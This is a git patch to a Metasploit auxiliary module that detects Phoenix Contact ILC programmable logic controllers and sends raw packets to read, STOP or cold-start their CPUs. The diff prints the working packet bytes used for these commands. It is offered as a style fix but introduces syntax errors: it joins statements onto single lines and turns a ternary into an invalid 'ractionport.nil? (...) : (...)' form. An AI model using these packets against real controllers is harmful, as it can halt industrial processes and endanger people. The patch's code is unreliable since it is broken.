From 1b4409f950a2bec30ef82efd9c1bf108c41b59ce Mon Sep 17 00:00:00 2001 From: Tijl Deneut Date: Sun, 6 Nov 2016 21:15:31 +0100 Subject: [PATCH] Update phoenix_command.rb Style fix: replace "ractionport == nil ?" with "ractionport.nil?" Is it OK? Did not find time to install and run rubocop ... --- modules/auxiliary/admin/scada/phoenix_command.rb | 15 +++++---------- 1 file changed, 5 insertions(+), 10 deletions(-) diff --git a/modules/auxiliary/admin/scada/phoenix_command.rb b/modules/auxiliary/admin/scada/phoenix_command.rb index 143524f850..6ffe05467f 100644 --- a/modules/auxiliary/admin/scada/phoenix_command.rb +++ b/modules/auxiliary/admin/scada/phoenix_command.rb @@ -138,7 +138,6 @@ class MetasploitModule < Msf::Auxiliary end state end - def get_state2(data) if data[16..17] == '04' state = 'STOP' @@ -150,7 +149,6 @@ class MetasploitModule < Msf::Auxiliary end state end - def get_cpu(rhost, rport, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) state = 'unknown' @@ -160,8 +158,7 @@ class MetasploitModule < Msf::Auxiliary send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") ## Query packet data = send_recv_once("\x01\x00\x02\x00\x00\x00\x08\x00\x03\x00\x03\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x40\x0b\x40") - state = get_state1(data) - elsif devicetype == '39x' + state = get_state1(data) elsif devicetype == '39x' init_phase2 data = send_recv_once("\xcc\x01\x00\x0f@\x07\x00\x00\xea\xfa") state = get_state2(data) @@ -171,8 +168,7 @@ class MetasploitModule < Msf::Auxiliary state end - def set_cpu(rhost, rport, action, state, devicetype) - connect(true, 'RHOST' => rhost, 'RPORT' => rport) + def set_cpu(rhost, rport, action, state, devicetype) connect(true, 'RHOST' => rhost, 'RPORT' => rport) if devicetype == '15x' init_phase1 ## Several packets (21) send_recv_once("\x01\x00\x02\x00\x00\x00\x1c\x00\x03\x00\x03\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x07\x00\x05\x00\x06\x00\x08\x00\x10\x00\x02\x00\x11\x00\x0e\x00\x0f\x00\r\x00\x16@\x16\x00") @@ -182,8 +178,7 @@ class MetasploitModule < Msf::Auxiliary else print_status('--> Sending STOP now') send_recv_once("\x01\x00\x02\x00\x00\x00\x00\x00\x01\x00\x07\x00\x00\x00\x00\x00") - end - elsif devicetype == '39x' + end elsif devicetype == '39x' init_phase2 ## Several packets (6) if action == 'START' || (action == 'REV' && state == 'STOP') print_status('--> Sending COLD start now') @@ -211,11 +206,11 @@ class MetasploitModule < Msf::Auxiliary if device.start_with?('ILC 15', 'ILC 17') devicetype = '15x' print_status('--> Detected 15x/17x series, getting current CPU state:') - ractionport == nil ? (rport = 41100) : (rport = ractionport) + ractionport.nil? (rport = 41100) : (rport = ractionport) elsif device.start_with?('ILC 39') devicetype = '39x' print_status('--> Detected 39x series, getting current CPU state:') - ractionport == nil ? (rport = 20547) : (rport = ractionport) + ractionport.nil? (rport = 20547) : (rport = ractionport) else print_error('Only ILC and (some) RFC devices are supported.') return